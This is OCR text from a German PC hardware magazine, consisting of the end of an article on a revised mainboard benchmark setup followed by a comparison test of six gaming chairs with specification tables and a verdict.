daher auf Prime95 27.7, das mit AVX(-1)- 
Nutzung deutlich höhere CPU-Lasten auf den 
Kernen 4 bis 10 erzeugt. Die ersten drei Kerne 
(bislang zwei) werden weiterhin für Witcher 3 
(bislang 2) reserviert, um neben der CPU auch 


die GPU und PCI-E-Controller auszulasten. 


Grafikkarte: Asus Strix GTX 1080 


Mainboards haben nur wenig Einfluss auf die Systemperformance, um so wichtiger 
ist eine gute Balance zwischen CPU- und GPU-Leistung. Limitiert eine der beiden 
Processing Units die Performance deutlich, werden die Eigenschaften aller anderen 
Komponenten maskiert. Zugleich sollte die Grafikkarte aber auch den Strom- 
verbrauch nicht zu sehr dominieren. Unser neuer Kompromiss ist eine werks- 
übertaktete GTX 1080, deren Boostverhalten wir mit 110-Prozent-Power- und 
91-°C-Temp-Target, einer auf 


50 Prozent fixierten Lüfter- 
drehzahl und ausreichender 
Aufwärmzeit vor jedem 
Benchmark bei circa 1974 
MHz GPU-Takt stabilisieren. 
Die Karte wird auch in künfti- 
gen AM4-Mainboardtests die 
bislang genutzte GTX 980 Ti 


ersetzten. 


Brocken Eco jetzt mit 1.440 U/min 


Der beliebte Mittelklasse-Tower-Kühler EKL Brocken Eco kommt bereits seit 2014 
in allen Mainboardtests zum Einsatz, bislang aber mit auf leise 900 U/min ge- 
drosseltem Lüfter. Zugunsten plattformübergreifender Vergleiche der Spannungs- 
wandlerkühlung hätten wir diesen Luftstrom auch gerne unverändert beibehalten, 
aber Skylake X mit über 240 W Leistungsaufnahme (CPU und Spannungswandler) 
und schlechter interner Wärmelei- 


tung überforderten den gedrosselten 
120-mm-Kühler schlichtweg. Da ein 
deutlich größerer Kühlkörper nicht 

zu allen Mainboards kompatibel 

wáre, nutzen wir den Brocken Eco ab 
sofort mit maximaler Drehzahl, um 
temperaturbedingte Taktabsenkungen 
auszuschließen. Die Messungen finden 
dabei weiterhin im offenen Aufbau ohne 


zusätzliche , Geháuse" -Lüfter statt. 
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XMP-DDR4-2666 statt -2133 


Sowohl in CPU- wie auch in Mainboardtests bestücken wir die Plattformen mit 
dem jeweils schnellsten spezifizierten Speicher. Bei unserer Sockel-2011-v3-Test- 
CPU aus der Haswell-E-Generation war das noch DDRA4-2133, Skylake X ist für 
DDR4-2666 freigegeben. Eine zweite Neuerung ist die Aktivierung von XMP. Bis- 
lang überlieBen wir es den Herstellern, die jeweils optimalen RAM-Einstellungen 
selbst zu finden. Da jenseits der 


JEDEC-DDR4-2400-Spezifika- 
tionen viele Module aber nur 
noch XMP-Profile anbieten, wäre 
dies bei DDR4-2666 realitäts- 
fern. Wir aktivieren in Zukunft 
also manuell XMP. Unverändert 
geblieben ist unterdessen die 
Speicherkapazität: 4x 4 GiB 
sorgen für Gleichstand zu Dual- 
Channel-AMA4-Test mit 2x 8 GiB. 


M.2-PCI-E-3.0-x4 und Windows 10 


Die Boot-Zeiten von Mainboards unterscheiden sich deutlich. Unser bisheriges, 
seit Ende 2014 genutztes System mit einer SATA-SSD und dem weder für neueste 
Speichermedien noch Plattformen optimierten Windows 8.1 schránkte das 
Entfaltungspotenzial aber ein. Außerdem fehlten Updates für die Stromsparme- 
chanismen neuer Prozessoren. Wir haben daher nicht nur den Datenspeicher 
gegen die aktuell schnellste Consumer-NVME-SSD getauscht, sondern auch die 
Software-Seite der Testumgebung auf Windows 10 (Stand vom 10.07.) umgestellt. 
Automatische Updates 


werden wir wie gehabt — 

durch eine fehlende NVMe SSD 
Netzwerkverbindung 
unterbunden, um die 960 
Vergleichbarkeit von ё 


EUI64 
; : T 512GB Wl 
zeitlich auseinander à E ET 
liegenden Test sicher- d 2 
zustellen. 


Witcher 3, weiterhin Lightroom 5.6 


Wichtigster Aspekt eines Mainboardbenchmarks ist die langfristige Vergleich- 
barkeit — Onlinezwang, automatische Updates und Cloud-Anbindung sind 
inakzeptabel, wenn man die oft kleinen Unterschiede zwischen Platinen über 
lange Zeiträume reproduzierbar messen möchte. Wir bleiben deswegen beim alten 
Adobe Lightroom 5.6, tauschen aber Witcher 2 gegen das mittlerweile , fertig" 
gepatchte Witcher 3. Als Basis dient der normale PCGH-CPU-Test-Spielstand, hier 
in 1.920 x 1.080 mit der 

Voreinstellung , hoch" 

abzüglich Haiworks, AA 

und AF. Für Verbrauchs- 

und Temperaturmes- 

sungen darf sich der 

Hexer jetzt drei statt 

zwei Kerne genehmigen, 

die restlichen werden mit 

Prime95 maltrátiert. 


09/17 | PC Games Hardware 85 


INFRASTRUKTUR | Gaming-Stühle 


© 


mA. UE 


ar 


Das Alleinstellungsmerkmal des Modells sind die Armlehen mit Abzugs- 
unktion (Wippmechanik/Höhenverstellung) sowie der Gitternetzbezug. 


Г 7 


Der Triigger verfügt nicht nur über eine per Abzug und Stahlseil auslósbare 
Höhenverstellung. Auch die leisen, nabenlosen Rollen sind etwas Besonderes. 
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ürostühle im Rennsitz-Design, 
Bi. Gaming-Stühle, lie- 
gen nach wie vor voll im Trend. Ob 
dieser von den Herstellen initiiert 
wurde oder ob bei PC-Spieler der 
Wunsch gewachsen ist, sich ein Sitz- 
möbel anzuschaffen, das zumindest 
optisch viel mehr hermacht als der 
biedere Bürostuhl vom Fachhandel, 
sei dahingestellt. Fakt ist, dass Peri- 
pherie-Hersteller wie Corsair, LC-Po- 
wer oder Sharkoon auf den Zug auf- 
gesprungen sind und seit kurzem 
erstmalig die speziell für Gamer ge- 
fertigten Stühle im Produktangebot 
haben. Im Gegenzug präsentieren 
Firmen wie Noblechairs mit dem 
Icon-Modell bereits die zweite Serie 
der mit Kunst- oder Echtlederbezug 
besonders edel wirkenden Gaming- 
Stühle. Dazu kommen Sondermo- 
delle wie Vertagears Triigger-Reihe 
(275/370), die ein alternatives Des- 
gin bieten, bei denen die Ergono- 
mie im Fokus steht und bei denen 
die Wippmechanik und Höhenver- 
stellung per Trigger in der Armleh- 
ne bedient wird. Wie Sie sehen, tut 
sich auf dem Gaming-Chair-Markt 
einiges und wir haben uns die aktu- 
elle Sommerkollektion ins Testlabor 
geholt. 


Noblechairs Icon: Sehr bequemer 
Testsieger mit hoher Qualität. Noble- 
chairs neuer Icon präsentiert sich 
mit einer sehr guten Ausstattung so- 
wie hohen Fertigungsqualität. Das 
pulverbeschichtete Fußkreuz ist 
aus Alu, die 60-mm-Rollen Кбппеп 
gegen Modelle mit automatischer 
Feststellfunktion getauscht werden 
und auch die bei Neigung feststell- 
bare Wippmechanik (11°) hat nur 
minimales Spiel. Die gute Verarbei- 
tungsqualität zeigt sich auch bei der 
Sitzfläche und der Lehne. Das Kalt- 
schaumpolster des Sitzes liegt auf 
einem Elastikgurt sowie zwei Stahl- 
streben auf. Das Rückenlehnenpols- 
ter wird von einer Metallrahmen- 
Streben-Konstruktion gestützt. 
Zusätzlich ist der PU-Kunstlederbe- 
zug an den Kontaktflächen perfo- 
riert und mit Nähten verziert. Das 
verbessert Sitzkomfort an heißen 
Tagen, da man weniger schwitzt. 


Die Dichte der Kaltschaumpolste- 
rung von 55 % sorgt zwar für harte 
Kontaktflächen an Lehne und Sitz, 
trotzdem ist der Gaming-Stuhl sehr 
ergonomisch und bequem. Das gilt 
auch für Spieler mit höherem Ge- 
wicht, da deren Gesäß und Rücken 
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Corsair T1 Race: Preis-Leistungs-Tipp mit wenig Schwächen 


Das Plastik-Fußkreuz und die simple Wippmechanik sind die Mankos bei 
der Ausstattung und gleichzeitig die größten Kritikpunkte an Corsairs T1 
Race. Beim Komfort und der Ergonomie dagegen punktet der Stuhl. 


Das mittelharte Sitzpolster des Corsair T1 Race wird von drei Elastik- 
bändern und zwei Stahlstreben gestützt. Das macht den Stuhl sehr 
komfortabel, weil sich die Polsterung an die Gesäßform anpassen kann. 


Ein Ausstattungshöhepunkt des T1 Race sind die Nylonrollen, die an 
Rollerblades erinnern. Das Fußkreuz aus Hartplastik sowie eine ein- 
fachen Wippmechanik sind dagegen Features, die zu schlicht ausfallen. 


Sharkoon Skiller SGS3: Komfortabel und gut ausgestattet 


Rollen mit Bremsen, eine wertige Wippmechanik und sogenannte 4D-Arm- 
lehnen: Bei der Ausstattung des bezahlbaren und bei passender Gesäß- 
größe sehr bequemen Skiller SGS3 lässt sich Sharkoon nicht lumpen. 


Das mit Kunstleder bezogene, mittelharte Polster liegt auf einem Elastik- 
band sowie drei Querstreben aus Stahl auf, an denen auch die Armleh- 
nen sowie die Höhenverstellung und Wippmechanik montiert werden. 


Die 75-mm-Rollen (Durchmesser) verfügen über einen Feststellmecha- 
nismus. Die Polsterung der Rückenlehne liegt nicht auf Elastikbändern, 
sondern zwei gebogenen, am Stahlrahmen befestigten Längstreben auf. 
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Speedlink Regger Gaming Chair: Auffàllig aber bequem 


Speedlinks Regger Gaming Chair macht optisch mit seinem quietsch- 
gelben Stoffbezug auf sich aufmerksam. Die Ausstattung ist allerdings f 
unspektakulär, dafür passen der Sitzkomfort und die Ergonomie. [ 


Elastikbänder und Stahlverstrebungen kann man bei einem Gaming-Stuhl 
der 200-Euro-Klasse nicht erwarten. Stattdessen liegt das Sitzpolster des 
Speedlink Regger auf der Armlehnenhalterung und zwei Holzbrettern auf. 


Der Hebel für Höhenverstellung und Wippmechanik erlaubt nur eine 
Arretierung, wenn diese sich nicht in der Neigungsposition befindet. Das 
Fußkreuz ist aus Hartplastik, vier Elastikbänder stützen das Lehnenpolster. 


Noblechairs Icon Gamingstuhl: Edel, bequem, ergonomisch 


Noblechairs neues Modell Icon überzeugt nicht nur mit einer hohen Qualität, gelungenen Ausstattung 
und seiner harten, aber bequemen Polsterung. Hier gefällt auch die Ergonomie, die in der typischen 
Gamer-Haltung noch durch 4D-Armstützen und ein flaches Lendenstützkissen spürbar optimiert wird. 


Die Perforation im Kunstlederbezug 
verbessert das Sitzgefühl an heißen Tagen 
und für die in jeder Position feststellbare 
Wippmechanik ist ein Hebel vorhanden. 
Die Rahmenkonstruktion mit Streben und 
Elastikgurt (Sitz) respektive drei Querstreben 
aus Stahlrohr (Lehne) 

zeugen von der hohen 

Fertigungsqualität. Das 

harte Polster (55 % 

Dichte) unterstützt die 


sehr gute Ergonomie. 
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nicht zu weit in den Noblechairs 
Icon einsinkt. In der Gamer- 
Haltung sitzt man ebenfalls sehr 
komfortabel, da die Armlehnen in 
alle Richtungen bewegt werden 
können und die Lehne mit ihrem 
harten Polster den Rücken und die 
Lende auch ohne den Einsatz eines 
Kissens sehr gut stützt. 


Vertagear Triigger 275: Sehr ergono- 
mischer Designer-(Büro)Stuhl auch 
für Gamer. Der aus 275 Teilen zu- 
sammengesetzte Triigger 275 ist ein 
Bürostuhl mit eigenwilligem De- 
sign und einer Spezialausstattung. 
Der Bezug besteht atmungsaktivem 
TPEE-Mesh-Material und Kalbsle- 
der-Elementen, die nur in der Höhe 
verstellbaren Armlehnen sind mit 
Abzügen bestückt. Mit den Triggern 
bedienen Sie die Höhenverstellung 
(rechts) und die mit zwei starken 
Federn arbeitende Wippmechanik 
(links), deren Widerstand per Kur- 
bel geregelt wird. Ebenfalls speziell 
sind die leisen, gedämmten Hub- 
losen Räder. Zur weiteren Spezi- 
alausstattung gehören die in der 
Tiefe mit 50 cm bis 54 cm Abstand 
zur Lehne anpassbare Sitzfläche so- 
wie die in drei Stufen in der Höhe 
verstellbare Lehne mit integrierter 
Lendenstütze. Von den nur in der 
Höhe verstellbaren Armstüzen und 
der aufgrund der Koppelung mit 
der Wippfunktion nur von 90° bis 
105° neigbaren Rückenlehne abge- 
sehen, bietet der Triigger 275 viele 
Einstellmöglichkeiten, die Ergono- 
mie anzupassen und zu optimieren. 
Der Sitzkomfort des weich gespann- 
ten Gitternetzbezuges ist keines- 
falls schlecht, aber gewöhnungsbe- 
dürftig. Während die Bespannung 
im mittleren Bereich viel nachgibt, 
drückt das harte Polster, das der 
Stoff-Spanbezug auf dem Alurah- 
men fixiert, beim Sitzen spürbar 
und für einen Teil der Probesitzer 
sogar zu sehr. 


Corsair Т1 Race: Erfolgreicher Ga- 
ming-Stuhl-Debütant mit attrakti- 
vem Preis. Beim ersten Blick auf 
die Basis des Corsair T1 Race fallen 
sofort die speziellen Nylonrollen 
auf, die an Rollerblades erinnern 
und sehr leichtgängig sind. Das Fuß- 
kreuz ist im Gegenzug unspektaku- 
lär aus Hartplastik gefertigt. Dafür 
gibt es genauso Kritik wie für die 
einfache, nur in der Grundstellung 
fixierbare Wippmechanik. Die Qua- 
lität des Oberbaus dagegen über- 
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zeugt. Die Kaltschaumpolsterung 
liegt auf einer Stahlrahmenkon- 
struktion mit zwei Querstreben und 
drei Elastikbändern (Sitz) respekti- 
ve eines an den Rändern mit einem 
Rahmen aus steifem Formschaum 
verstärkten Stahlgerüsts (Lehne) 
auf. Der PU-Kunstlederbezug ist mit 
einem Carbon-Look (Rückseite Leh- 
ne) und einem gestickten Muster 
(Kontaktflächen) verziert und die 
Armlehnen mit Carbon-Optik lassen 
sich in der Höhe und auf der hori- 
zontalen Ebene verstellen. Ein Kis- 
sen zum Stützen des Kopfes sowie 
ein flach geformtes Lendenstützkis- 
sen gehören zum Lieferumfang. 


Damit Spieler mit einer Größe von 
mehr als 1,80 Meter den T1 Race 
nutzen können, ist die Sitzfläche 
um 10 cm erhöhbar. Die mit 95 cm 
ausreichend lange Rückenlehne 
kann von 90° bis 180° geneigt wer- 
den. Zusammen mit den vielfältig 
verstellbaren Armlehnen lässt sich 
so eine Sitzposition einrichten, die 
dank mittelharter Polster auch in 
der Gamerhaltung sehr bequem 
und ergomisch ist. Leider gilt das 
nicht für jede Körperform. Cor- 
sairs T1 Race verfügt nämlich über 
sehr ausgeprägte Stützwangen an 
Sitz und Rückenlehne, die dem Be- 
reich vom Becken bis unterhalb der 
Schulterblätter einen firmen Halt 
geben. Den nimmt man entweder 
als angenehm stützend oder ein- 
zwängend wahr. Spieler mit einem 
breiten Rücken oder mit ein paar 
Kilos zu viel sollten besser zum No- 
blechairs Icon greifen. 


Sharkoon Skiller 5653: Bezahlbar, 
sehr gut ausgestattet, aber zu kleine 
Sitzfläche. Die Ausstattung mit der 
Sharkoon seinem Gaming-Chair- 
Erstling bestückt, fällt in Anbetracht 
des Preises von ca. 285 Euro sehr gut 
aus. Der Skiller SGS3 verfügt über 
75-mm-Rollen mit Feststellfunktion, 
Vier Wege-Armstützen, eine nicht 
nur in der Nullstellung fixierbare 
Wippmechanik, eine ordentlich 
verarbeitete Sitzfläche und Lehne 
sowie ein Kissen für den Kopf und 
die Lende. Die Polsterung der Sitz- 
fläche ist mittelhart (60-65 kg/m3), 
drückt sich vorn jedoch aufgrund 
des Spanngurtes weiter durch als 
hinten, wo sich die Metallstreben 
befinden. Dabei ist die Auflagefläche 
für das Gesäß insgesamt recht klein 
dimensioniert, sodass Spieler mit 
breitem Becken an die Seitenwan- 
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LC-Power LC- 


GC-2: Der solide Spartipp 


Der LC-GC-2 lässt den Konkurrenten im Kampf um die Sparfuchs-Em- 
pfehlung, den Speedlink Regger, knapp hinter sich. Die Wertung ist 


zwar gleich, bei Preis und 


Ausstattung hat der LC-GC-2 die Nase vorn. 


Die Lehnenkonstruktion besteht 
aus einem Stahlrahmen mit drei 
Elastikbändern. Anders als die 
Basis des Speedlink Regger ist das 
Fußkreuz des LC-GC-2 aus Metall 
gefertigt. Bei der Wippmechanik 
entscheidet sich LC-Power für die 


Pimp my Cha 


einfache Variante ohne Extrahebel. 


UE ` 


Wie beim Spartipp-Konkurrenten muss die Sitzkonstruktion 
ohne Elastikbänder und Stahlstreben auskommen. Auch hier 
liegt das Polster, dessen Dichte etwas zu gering ausfällt, auf 
zwei durch die Armlehnehalterung getrennten Holzplatten. 


ir: Gasdruckfeder und Rollen wechseln 


Optische Aufwertung per Rollerblade-Rollen oder eine needforseat.de) erhältlichen Felgenrollen mit Feststellfunktion 


neue Gasdruckfeder für eine 


verringerte Sitzhöhe. Mittler- (Bild 1/2) sehr einfach ist, muss man beim Umstieg auf die soge- 


weile lassen sich Gaming-Chairs tunen und modifizieren. nannten SQ-Rolls (rechtes Bild) mehr Zeit einplanen. Möchte man, 


Die Gaming-Stuhl-Hersteller Nob 
(Need for Seat) bieten für ihre ak 


wie in unserem Beispiel, seinen Maxnomic-Stuhl mit den SQ-Rolls 
echairs, AKracing und Maxnomic ausstatten, muss das reguläre Fußkreuz gegen die sogenannte 
uelle Kollektion auch Zubehör HD-Base (ein spezielles FuBkreuz aus Alu mit zusätzlichen Verstre- 


an. Dazu gehören nicht nur Armlehnen und Kopf-/Lendenkissen, bungen) ausgetauscht werden, die für einen Gesamtpreis von 90 


sondern auch Austausch-Gasfede 
der Sitzhöhe, Hartbodenrollen mi 
Maxnomic) oder die angesagten 


rn zur Erhöhung/Veringerung Euro zum Lieferumfang der SQ-Rolls gehört. Hierbei ist jedoch zu 
Feststellfunktion (Noblechairs/ beachten, dass die SQ-Rolls den Stuhl um ca. 5 cm erhöhen und 
Rollerblade-Rollen (AKracing/Ma- nicht für weiche Böden geeignet sind. Dabei muss die Gasfeder 


xnomic). Um zu testen, wie einfach der Rollenwechsel vonstatten ausgebaut werden, die man im Idealfall mit einem Gummihammer 


geht, haben wir den Maxnomic 


eed for Seat Office Comfort (fünf löst. Maxnomic ist übrigens der einzige Anbieter, der gleich drei 


Sterne, Test in PCGH 08/2017), den unser Tester seit einem Jahr Gasfedern (Einzelpreis: 20 Euro) im Angebot hat, mit denen man 


nutzt, mit neuen Rollen bestückt. 


Während der Wechsel von den die Sitzhöhe von Small (48 bis 53 cm) über Medium (52 bis 62 


Standardrollen auf die für 35 Euro im Maxnomic-Webshop (www. cm) bis Large (55 bis 65 cm) selber anpassen kann. 
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gen stofšen und das Hinterteil dann 
in die Sitzfläche gepresst wird. Auch 
bei der Tiefe hätten ein paar Zenti- 
meter mehr nach vorn der Sitzfläche 
nicht geschadet. Setzt man das Len- 
denkissen zur Verbesserung der gu- 
ten Ergonomie ein, rutschen gerade 
längere Beine weiter nach vorn, so- 
dass der Oberschenkel zu weit über 
die vordere Kante der Sitzfläche he- 
rausragt. Die Lehnenpolsterung da- 
gegen ist hart und stützt den Rücken 
gut. Das mitgelieferte Lendenkissen 
und die in der Höhe sowie in der ho- 


rizontalen Ebene anpassbaren Arm- 
stützen garantieren eine optimale 
Sitzposition in der Gamer-Haltung, 
bei der beide Unterarme komforta- 
bel zur Bedienung der Tastatur und 
Maus aufliegen. 


LC-Power LC-GC-2: Komfortabel, sehr 
preiswert und solide ausgestattet. 
Die Abstriche, die man beim Preis 
von 200 Euro bei unserem Spar- 
Tipp machen muss, halten sich in 
Grenzen. Auf der Habenseite ste- 
hen ein Fußkreuz aus Stahl, eine 


GAMING- 
STÜHLE 


Testtabelle 
mit 17 Wertungskriterien 


Modell 
Hersteller (Vertrieb)/Webseite 


Preis/Preis-Leistungs-Verháltnis 


Gesamthóhe (mit Basis) 


Hóhenverstellung (6 cm), eine еїп- 
fache Wippemechanik und nur in 
der Hóhe verstellbare Armstützen. 
Dazu kommt die Stahlrahmen-Pols- 
ter-Konstruktion, bei welcher der 
mit teilperforierten Kunstleder be- 
zogene Kaltschaum auf zwei durch 
eine Metallstrebe getrennten Holz- 
platten (Sitzfläche) sowie auf dem 
Rahmen mit drei Elastikbändern 
(Lehne) aufliegt. Auf Vier-Wege- 
Armstützen oder ein Sitzpolster, das 
durch Elastikband und Stahlstre- 
ben gestützt wird, muss man in der 


Preiskategorie um 200 Euro verzich- 
ten. Trotz der Abstriche sitzt man in 
den weichen Polstern des LC-GC-2 
bequem und die Sitzflächengröße, 
die Lehnenbreite im Schulterbe- 
reich sowie alle Stützwangen be- 
reiten keine Probleme, unabhängig 
von den Körpermaßen des Nutzers. 
Obwohl sich die Armlehnen nur 
bedingt an die Position der Unterar- 
me anpassen lassen, ermöglicht der 
LC-GC-2 auch in der Gamer Haltung 
(90° Winkel zwischen Lehne und 
Sitzfläche) eine ergonomische Sitz- 


Noblechairs 
Icon (NBL-ICN-PU-BLA) 


Нагйшаге 


Icon (NBL-ICN-PU-BLA) 


Noblechairs (Caseking)/www.noblechairs.com 


Triigger 275 Gamingstuhl (VG-TL275) 


Vertagear (Caseking)/www.vertagear.com 


PREIS-LEISTUNGS-TIPP 


Corsair 
TI Race 


Hardware 


T1 Race 


Corsair/www.corsair.com 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1633024 


www.pcgh.de/preis/1545031 


www.pcgh.de/preis/1625901 


Ca. € 370,-/3+ 


Ca. 128 cm bis 138 cm 


Ca. € 600,-/4 


Ca. 98,8 cm bis 120,0 cm 


Ca. € 300,-/2+ 


Ca. 127 cm bis 137 cm 


Breite (auf Schulterhöhe; auf Beckenhöhe)/Höhe 
Rückenlehne 


Ca. 39 cm; ca. 52 cm/ca. 86 cm 


Ca. 44,5 cm; ca. 47,8 ст/са. 57,5 bis 61,5 cm 


Ca. 56,0 cm; ca. 46,5 cm/ca. 95,0 cm 


Breite (Außenmaß; Innenmaf)/Tiefe Sitzfläche 


Ca. 51 cm; 34 cm/ca. 49 cm 


Ca. 50 bis 54 cm; ca. 60 bis 69 cm/ca. 50 bis 54 cm 


Ca. 52,0 cm; 31,0 (hinten) bis 36,5 cm (vorne)/ca. 49,0 cm 


Gesamtgewicht 


28 kg 


21 kg 


24 kg 


Material Fuß/Rollen/Rahmen/Polsterung/Bezug 


Aluminium/Nylon und Polyurethan/Stahlrohr mit einem 
Elastik-Band und zwei Stahlstreben (Sitz) und Stahlrohr 
mit Querstreben (Lehne)/Kaltschaum/PU-Kunstleder 
(Stárke: 1,5 mm) 


Aluminium (Guss)/Hartplastik/Aluminium (Rohr)//TPEE 
Mesh/PET (Gitternetzbezug)/Kalbsleder (partiell) 


Kunststoff (Nylon)/Nylon/Stahlrohr mit drei Elastik-Bändern 
und zwei Stahlstreben (Sitz) und Stahlrohr mit Rahmen 
aus sehr formfesten Kaltschaum (Lehne)/Formschaum/ 
PU-Kunstleder (Rückseite Lehne mit Carbon-Optik) 


Maximalbelastung 


150 kg 


155 Kg 


120 kg 


Weitere Extras 


Zusammenbau 


Kopf- und Lendenkissen, stufenlose, per Hebel blockier- 
bare Wippmechanik (maximal 11° Neigungswinkel) mit 
einstellbarem Widerstand (Drehknopf), 4D-Armlehnen 


Einfach 


TPEE-Mesh-Bezug mit Kalbsleder-Elementen, Armlehnen 
mit Trigger-Funktion (Stahlseile) für Sitzhóhe und Leh- 
nenneigung (bis 45? Winkel), Widerstand Wippmechanik 
per Kurbel verstellbar, hóhenverstellbare Rückenlehne mit 
Lendenunterstützung, nabenlose Ráder (65 mm) 


Sehr einfach 


Kopf- und Lendenkissen; stufenlose, nur in der Null-Grad- 
stellung blockierbare Wippmechanik mit einstellbarem 
Widerstand (Drehknopf), 4D-Armlehnen, Nylon-Rollen 
(Rollerblade Rollen) 


Einfach 


Geeignet für Körpergröße 


180 bis 190 cm (Angabe Hersteller) 


Bis maximal 190 cm (keine Herstellerangabe) 


Bis maximal 195 cm (keine Herstellerangabe) 


Verarbeitung Fuß/Höhenverstellung/Sitzfläche/ 
Lehne 


Sehr gut/sehr gut/sehr gut/sehr gut 


Sehr gut/sehr gut/sehr gut/sehr gut 


Gut/gut/sehr gut/sehr gut 


Anpassbare Rückenlehne (Winkel) 


Gut (kann von 90? bis 135? verstellt werden) 


Gut (kann nur von 90? bis 145? verstellt werden) 


Sehr gut (kann von 90° bis 180? verstellt werden) 


Armlehnen verstellbar (Hóhe/drehbar/vertikal/ 
horizontal) 


Ja (sechsstufig)/ja/ja/ja 


Ja (achtstufig)/ja/nein/nein 


Ja (sechsstufig)/ja/ja/ja 


Sitzfláchenhóhe verstellbar/Gasfeder für eine 
erhöhte oder verringerte Sitzhöhe erhältlich? 


Polsterhärte 


Ja, stufenlos per Druckluftheber (10 cm Hub)/ja, 1,5 cm 
kürzere Gasfeder erhältlich 


Hart (verformungsresistenter Kaltschaum mit 55 Prozent 
Dichte. Gleichmäßiger Widerstand auf der kompletten 
Sitzfláche und Lehne) 


Ja, stufenlos per Druckluftheber (9 cm Hub)/nein 


Weich (keine Polsterung, sondern gespannter Gitternetzbe- 
zug aus TPEE/TPE. Der Widerstand variiert mit dem Belas- 
tungsgewicht. Die Polsterung ist am Rand spürbar härter) 


Ja, stufenlos per Druckluftheber (10 cm Hub)/nein 


Mittelhart (14 kg/m? [Herstellerangabe]; Sitzpolster sinkt 
auf den Elastikgurten nicht zu sehr ein, das etwas harte 
Lehnenpolster stützt den Rücken sehr gut) 


Standfestigkeit/Rolleigenschaften/alternative Rollen 
erhältlich 


Sehr gut/sehr leichtgängig/ja, Hartbodenrollen (60 mm) 
mit automatischer Feststellfunktion 


Sehr gut/sehr leichtgängig/nein 


Gut/sehr leichtgängig 


Sitzkomfort/Ergonomie/Anpassungsmöglichkeiten 
Ergonomie 


Sehr bequem/sehr gut/gut bis sehr gut 


Bequem/sehr gut/sehr gut 


Sehr bequem/gut bis sehr gut/gut 


Komfort Gamer-Haltung mit Mouse und Tastatur 


FAZIT 
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Sehr bequem (90-Grad-Stellung Lehne und optimale An- 
passung Armlehne, optionales Zusatzkissen für die Lende) 


© Verstellmöglichkeiten Armlehne 
© Verarbeitung/Ausstattung/Sitzkomfort 


© Sehr komfortabel bei der Gamer-Haltung 


Wertung: kk kx K 


Bequem (90-Grad-Stellung Lehne, Lehnen- und Sitzposi- 
tion anpassbar, Armlehne nur hóhenverstell- aber nicht 
verschiebbar, integrierte Lendenstütze, die jedoch im 
Lendenbereich drückt) 


© Sehr gute Anpassungsmöglichkeiten für Ergonomie 
© Ausstattung, Fertigung mit wenig Hartplastik 
© Spannbezug ist weich/Lendenstütze drückt leicht 


Wertung: Xx x» 


Sehr bequem (90-Grad-Stellung Lehne und optimale An- 
passung Armlehne, optionales Zusatzkissen für die Lende) 


© Fertigungsqualitát von Lehne und Sitz 
Q Sehr bequem und ergonomisch in der Gamer-Haltung 
© Kunststoff-FuBkreuz/einfache Wippmechanik 


Wertung: Xx % 7 
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haltung, die durch das mitgelieferte 
Lendenkissen noch verbessert wird. 


Regger Gaming Chair Yellow: Gelb, 
günstig, guter Sitzkomfort. Der gel- 
be Stoffbezug macht den Regger Ga- 
ming Chair neben Vertagears Triiger 
275 zum optisch auffälligsten Sitz- 
möbelim Test. Die Ausstattung ist da- 
gegen durchschnittlich, entspricht 
aber dem, was man von einem 
200-Euro-Gaming-Stuhl erwartet. 
Beim nur aus Hartplastik gefertigten 
Fußkreuz zeigt sich Speedlink spar- 


sam, beim Material für den Bezug 
von Sitzfläche und der Rückenlehne 
entscheidet man sich größtenteils 
für einen Stoff, der an Wildleder-Imi- 
tat erinnert. Bei der Sitzfläche des 
Speedlink Regger kommt dieselbe 
Konstruktion für die Polsterauflage 
wie bei LC Powers Stuhl zum Ein- 
satz. Das mittelharte Kaltschaum- 
polster der Lehne liegt auf dem 
mit vier Elastikbändern versehenen 
Stahlrahmen auf. Darüber hinaus 
verfügt der Speedlink Regger nur 
über eine simple Wippmechanik. 


Da die Polster eine mittlere Härte 
besitzen und der Bezug sich weich 
anfühlt, sitzen Spieler im Regger Ga- 
ming Chair bequem. Die Ergonomie 
geht dank der auch beim Einsatz des 
Lendenkissens ausreichend breiten 
und tiefen Sitzfläche sowie der vier 
Elastikbänder in der Lehne ebenfalls 
in Ordnung. Das gilt jedoch nur für 
eine Körpergröße bis 1,80 Meter 
und Nutzern mit durchschnittlich 
langen Beinen, da das Stützkissen 
für die Lenden das Becken schon ein 
Stück nach vorn schiebt. (fs) 


Fazit Hardware 


Gaming-Stühle 

Unser Testieger, der Noblechairs Icon, 
ist ein empfehlenswerter Gaming-Stuhl, 
in dem auch Spieler mit 1,95 m Größe 
oder mehr Körperfülle sehr bequem und 
ergonomisch sitzen. Vertagears Triigger 
ist der Ergonomie-Sieger, bietet aber ei- 
nen eher speziellen Sitzkomfort. Wer im 
engen Schalensitz des Cosair T1 Race 
komfortabel sitzt, erwirbt ein günstiges 
Modell mit gute Ergonomie. Sparfüch- 
sen raten wir zum LC-Power LC-GC-2. 


GAMING- 
STÜHLE 


Testtabelle 
mit 17 Wertungskriterien 


Modell 


Hersteller/Vertrieb 


Skiller SGS3 


Sharkoon/www.sharkoon.com 


SPAR-TIPP 


LC-Power 
Gaming Stuhl (LC-GC-2) 


Hardware 


Gaming Stuhl (LC-GC 


LC-Power/www.lc-power.com 


Regger Gaming Chair Yellow 


Speedlink/www.speedlink.de 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1624169 


www.pcgh.de/preis/1389703 


www.pcgh.de/preis/1384376 


Preis/Preis-Leistungs-Verháltnis 


Gesamthóhe (mit Basis) 


Ca. € 285,-/2- 


Ca. 130 cm bis 137 cm 


Ca. € 200,-/2+ 


Ca. 130 cm bis 136 cm 


Ca. € 230,-/3 


Ca. 123 cm bis 131 cm 


Breite (auf Schulterhóhe; auf Beckenhóhe)/Hóhe 
Rückenlehne 


Ca. 49 cm; ca. 48 cm/ca. 85 cm 


Ca. 56,5 cm; ca. 49,5 cm/ca. 81,0 cm 


Ca. 56 cm; ca. 47 cm/ca. 81cm 


Breite (Außenmaß; Innenmaß)/Tiefe Sitzfläche 


Ca. 53 cm; 38 cm/ca. 50 cm 


Ca. 53,5 cm; 42,0 cm/ca. 54,0 cm 


Ca. 52 cm; 42 cm/ca. 50 cm 


Gesamtgewicht 


25 kg 


20,5 kg 


20 kg 


Material Fuß/Rollen/Rahmen/Polsterung/Bezug 


‚Aluminium (Guss)/Hartplastik/Stahlrohr mit einem Elastik- 
Band und zwei Stahlstreben (Sitz) und Stahlrohr mit zwei 
Längsstreben aus Stahl (Lehne)/Formschaum/Kunstleder 


Stahl (Guss)/Hartplastik/Stahlrohr mit Stahlstrebe und 
Spanplatte (Sitz) und Stahlrohr mit zwei Elastikbändern 
